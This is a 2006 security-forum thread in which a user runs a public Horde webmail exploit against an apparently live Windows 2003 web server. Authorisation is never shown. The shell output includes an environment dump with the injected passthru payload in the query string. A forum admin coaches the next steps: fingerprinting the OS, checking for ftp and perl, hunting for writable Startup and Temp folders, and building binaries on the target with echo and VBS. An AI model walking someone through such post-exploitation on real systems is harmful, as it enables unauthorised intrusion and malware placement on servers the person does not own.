|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
test horde webmail vulnerability |
|
Posted: Tue Aug 01, 2006 7:38 pm |
|
|
Vixje |
Active user |
|
|
Joined: Mar 25, 2006 |
Posts: 35 |
|
|
|
|
|
|
|
Hi there,
I am testing a vulnerability on a horde webmail page:
Here's the perl script:
http://www.milw0rm.com/exploits/1650
When I execute this script, i seem to arrive within a shell and its looking like this:
Code: |
horddy> dir
Volume in drive C has no label.
Volume Serial Number is XXX-XXX
Directory of C:\Inetpub\XXX\XXX\XXX\horde\services\help
04/12/2006 01:02 AM <DIR> .
04/12/2006 01:02 AM <DIR> ..
10/27/2004 11:55 AM 3,449 index.php
1 File(s) 3,449 bytes
2 Dir(s) 51,707,549,696 bytes free
horddy>
|
After this, i'm not sure where to go. Executing commands dont seem to work, for examle net user test test doesnt seem to do anything on the server. But when I use, get http://www.site.com/example.php it will show me the content of that php file and it does not download it.
What is the risk in this? And how is this exploit beeing used? |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 3:11 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
So you have possibilities to run shell comands against windows server.
First, try "ver" to find out exact windows version. |
|
|
|
|
Posted: Thu Aug 03, 2006 5:46 pm |
|
|
Vixje |
Active user |
|
|
Joined: Mar 25, 2006 |
Posts: 35 |
|
|
|
|
|
|
|
horddy> ver
Microsoft Windows [Version 5.2.3790]
horddy>
ok, so that seems to work.
mkdir test, doesnt work, and also i cannot go outside of the folder i'm in. |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 5:53 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Vixje wrote: | horddy> ver
Microsoft Windows [Version 5.2.3790]
horddy>
ok, so that seems to work.
mkdir test, doesnt work, and also i cannot go outside of the folder i'm in. |
So this is Windows 2003 R2:
http://en.wikipedia.org/wiki/Windows_Server_2003
Now, do you have access to remote ftp client?
Try this:
in my WinXp i will get:
Code: |
C:\>ftp --help
Transfers files to and from a computer running an FTP server service
(sometimes called a daemon). Ftp can be used interactively.
FTP [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host]
-v Suppresses display of remote server responses.
-n Suppresses auto-login upon initial connection.
-i Turns off interactive prompting during multiple file
transfers.
-d Enables debugging.
-g Disables filename globbing (see GLOB command).
-s:filename Specifies a text file containing FTP commands; the
commands will automatically run after FTP starts.
-a Use any local interface when binding data connection.
-A login as anonymous.
-w:buffersize Overrides the default transfer buffer size of 4096.
host Specifies the host name or IP address of the remote
host to connect to.
Notes:
- mget and mput commands take y/n/q for yes/no/quit.
- Use Control-C to abort commands.
C:\>
|
If you will see that ftp client help text, then maybe you can upload stuff to remote system. |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 5:58 pm |
|
|
Vixje |
Active user |
|
|
Joined: Mar 25, 2006 |
Posts: 35 |
|
|
|
|
|
|
|
horddy> ftp --help
horddy>
nope didnt work im affraid, strange i would expect also less priveleged accounts would have ftp --help access. Is there a sort of, who am i, in windows?
Hmm, SET command gives following output. It's like if i'm a unexisting user within a roaming profile or something hehe.
Code: | horddy> set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APP_POOL_ID=plesk(default)(pool)
ClusterLog=C:\WINDOWS\Cluster\cluster.log
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=xxxxxxxxxxxxxxxxxxxxx
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
LANG=en_US
LANGUAGE=en_US
MAILENABLE_PATH=C:\PROGRA~1\SWsoft\Plesk\MAILSE~1\MAILEN~1
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Program Files\SWsoft\Plesk\Additional\Python\.;C:\Program Files\SWsoft\Plesk\Mail Servers\Mail Enable\BIN;C:\PRO
GRA~1\SWsoft\Plesk\ADDITI~1\Perl\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\Microsoft
SQL Server\80\Tools\Binn\
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.pyo;.pyc;.pyw;.py
plesk_bin=C:\Program Files\SWsoft\Plesk\admin\bin
plesk_dir=C:\Program Files\SWsoft\Plesk\
plesk_vhosts=C:\inetpub\vhosts\
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 15 Model 4 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=15
PROCESSOR_REVISION=0403
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINDOWS
HTTP_CONNECTION=TE, close
HTTP_HOST=XXX>XXX>XXX
HTTP_TE=deflate,gzip;q=0.3
HTTP_USER_AGENT=Nozilla/P.N (Just for IDS woring)
APP_POOL_ID=plesk(default)(pool)
AUTH_TYPE=
AUTH_PASSWORD=
AUTH_USER=
CERT_COOKIE=
CERT_FLAGS=
CERT_ISSUER=
CERT_SERIALNUMBER=
CERT_SUBJECT=
CONTENT_LENGTH=0
CONTENT_TYPE=
GATEWAY_INTERFACE=CGI/1.1
HTTPS=off
HTTPS_KEYSIZE=
HTTPS_SECRETKEYSIZE=
HTTPS_SERVER_ISSUER=
HTTPS_SERVER_SUBJECT=
INSTANCE_ID=29776
LOCAL_ADDR=xxxxxxxxxxxxxxxxxxxxx
LOGON_USER=
PATH_INFO=/horde/services/help/Index.php
PATH_TRANSLATED=C:\Inetpub\vhosts\webmail\horde\services\help\Index.php
QUERY_STRING=show=about&module=;%22.passthru(%22set%22);'.
REMOTE_ADDR=xxxxxxxxxxxxxxxxxxxxx
REMOTE_HOST=xxxxxxxxxxxxxxxxxxxxx
REMOTE_USER=
REQUEST_METHOD=GET
SCRIPT_NAME=/horde/services/help/Index.php
SERVER_NAME=xxxxxxxxxxxxxxxxxxxxx
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/6.0
UNMAPPED_REMOTE_USER=
horddy> |
I took out the ip's and hostnames. |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 6:11 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
As much as i know, win 2003/2000/xp does not have "whoami" and "who" utilities, as in unix.
Now, ftp.exe and tftp.exe are residing in "windows/system32" directory and if user has low privileges, then those executables cannot be used.
Can you traversal directories with "cd .." ?
And try to use "echo foobar >> test.txt" type commands to write arbitrary text files (if you have write permissions in specific dir).
Next use "cat test.txt" to read text files. |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 6:15 pm |
|
|
Vixje |
Active user |
|
|
Joined: Mar 25, 2006 |
Posts: 35 |
|
|
|
|
|
|
|
waraxe wrote: | As much as i know, win 2003/2000/xp does not have "whoami" and "who" utilities, as in unix.
Now, ftp.exe and tftp.exe are residing in "windows/system32" directory and if user has low privileges, then those executables cannot be used.
Can you traversal directories with "cd .." ?
And try to use "echo foobar >> test.txt" type commands to write arbitrary text files (if you have write permissions in specific dir).
Next use "cat test.txt" to read text files. |
Hi there When i log in to the console of the server I am able to use whoami, apparently this works on w2k3 Just letting you know.
ftp and tftp dont seem to respond. Also i am not abel to traversal directories using cd .. or d: etc. ech foobar >> file.txt doesnt do anything either. I'm affraid, i'm locked within a useless folder with useless permissions hehe. |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 6:24 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Interesting situation ...
Try "perl --help", maybe you have access to perl CLI |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 6:30 pm |
|
|
Vixje |
Active user |
|
|
Joined: Mar 25, 2006 |
Posts: 35 |
|
|
|
|
|
|
|
Woah, bingo Damn you are good hehe.
Usage: C:\Program Files\SWsoft\Plesk\Additional\Perl\bin\perl.exe [switches] [--] [programfile] [arguments]
-0[octal] specify record separator (\0, if no argument)
-a autosplit mode with -n or -p (splits $_ into @F)
-C[number/list] enables the listed Unicode features
-c check syntax only (runs BEGIN and CHECK blocks)
-d[:debugger] run program under debugger
-D[number/list] set debugging flags (argument is a bit mask or alphabets)
-e program one line of program (several -e's allowed, omit programfile)
-F/pattern/ split() pattern for -a switch (//'s are optional)
-i[extension] edit <> files in place (makes backup if extension supplied)
-Idirectory specify @INC/#include directory (several -I's allowed)
-l[octal] enable line ending processing, specifies line terminator
-[mM][-]module execute `use/no module...' before executing program
-n assume 'while (<>) { ... }' loop around program
-p assume loop like -n but print line also, like sed
-P run program through C preprocessor before compilation
-s enable rudimentary parsing for switches after programfile
-S look for programfile using PATH environment variable
-t enable tainting warnings
-T enable tainting checks
-u dump core after parsing program
-U allow unsafe operations
-v print version, subversion (includes VERY IMPORTANT perl info)
-V[:variable] print configuration summary (or a single Config.pm variable)
-w enable many useful warnings (RECOMMENDED)
-W enable all warnings
-x[directory] strip off text before #!perl line and perhaps cd to directory
-X disable all warnings
horddy>
--edit--
The path shown in the set output must shouldnt have been missed hehe. What I'm guessing that could be a next step now is, using perl cli commands to try and ftp a file to the folder. Allthough, we still have this permission problem on the folder. Using perl to get to other folders probably doesnt help much either, so this is still a very interesting situation on a w2k3 box hehe. |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 7:57 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Hmm, there must be directories, available to specific account.
Try for example:
Code: |
cd "c:\\Documents and Settings\\Default User"
cd "c:\\Documents and Settings\\Default User\\Start Menu\\Programs\\Startup"
cd "c:\\Documents and Settings\\Default User\\Local Settings\\Temp"
cd "c:\\Documents and Settings\\All Users"
cd "c:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup"
|
If you can find directory with write permissions, for example temp dir, then with help echo and vbs you can try to create binary files to target system. |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 8:22 pm |
|
|
Vixje |
Active user |
|
|
Joined: Mar 25, 2006 |
Posts: 35 |
|
|
|
|
|
|
|
I've been testing a bit more, here's my results:
When i locally execute:
perl -e system(ftp)
The cli replies with a ftp>, allowing to to ftp.
When i use this at the remote host,
horddy> perl -e system(ping)
horddy>
It just hits back to the cli so i think perl doesnt work afterall.
Somehow I cant change to other folders either. All folders you have suggested dont work.
horddy> dir
Volume in drive C has no label.
Volume Serial Number is 60FD-0AF1
Directory of C:\Inetpub\vhosts\webmail\horde\services\help
04/12/2006 01:02 AM <DIR> .
04/12/2006 01:02 AM <DIR> ..
10/27/2004 11:55 AM 3,449 index.php
1 File(s) 3,449 bytes
2 Dir(s) 54,795,264,000 bytes free
horddy> dir
Volume in drive C has no label.
I wouldnt find this so suprising if this was a unix/linux box but its windows haha |
|
|
|
|
|
|
|
|
Posted: Thu Aug 03, 2006 8:32 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
If you are issuing shell commands like
Code: |
cd "c:\\Documents and Settings\\Default User"
|
then specific chars, like double quote can be problematic and somehow
get "damaged" in way (escaped or somthing else) through exploit.
Did you get any error messages from command line after trying "cd" ? |
|
|
|
|
Posted: Thu Aug 03, 2006 8:48 pm |
|
|
Vixje |
Active user |
|
|
Joined: Mar 25, 2006 |
Posts: 35 |
|
|
|
|
|
|
|
No, here's what happens:
horddy> cd
C:\Inetpub\vhosts\webmail\horde\services\help
So if " is a problem, maybe i can use the windows shortcuts, like progra~1 for program files f.e.
cd c:\docume~1\defaul~1 doesnt seem to work either. It just goes to the next line, but a dir shows me i'm still in dir same folder. |
|
|
|
|
Posted: Thu Aug 03, 2006 8:59 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Seems like complicated situation
I will must go away now...
But this is interesting issue, so feel free to post here your next moves.
Best! |
|
|
|
|
Posted: Thu Aug 03, 2006 9:04 pm |
|
|
Vixje |
Active user |
|
|
Joined: Mar 25, 2006 |
Posts: 35 |
|
|
|
|
|
|
|
Thanks a lot for helping me think this one out hehe, and thanks for having me as a visitor on your forum. This board is one of the few where I can find some more serious people around without speaking like ZoOmG Iam TH4 L34T h4x0rZZ etc..
Also new people who show serious interest are accepted and helped, which is rare on these kind of boards. Keep up the good work.
If anything come to mind about my issue let me know, i will update too if i find something else out too |
|
|
|
|
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|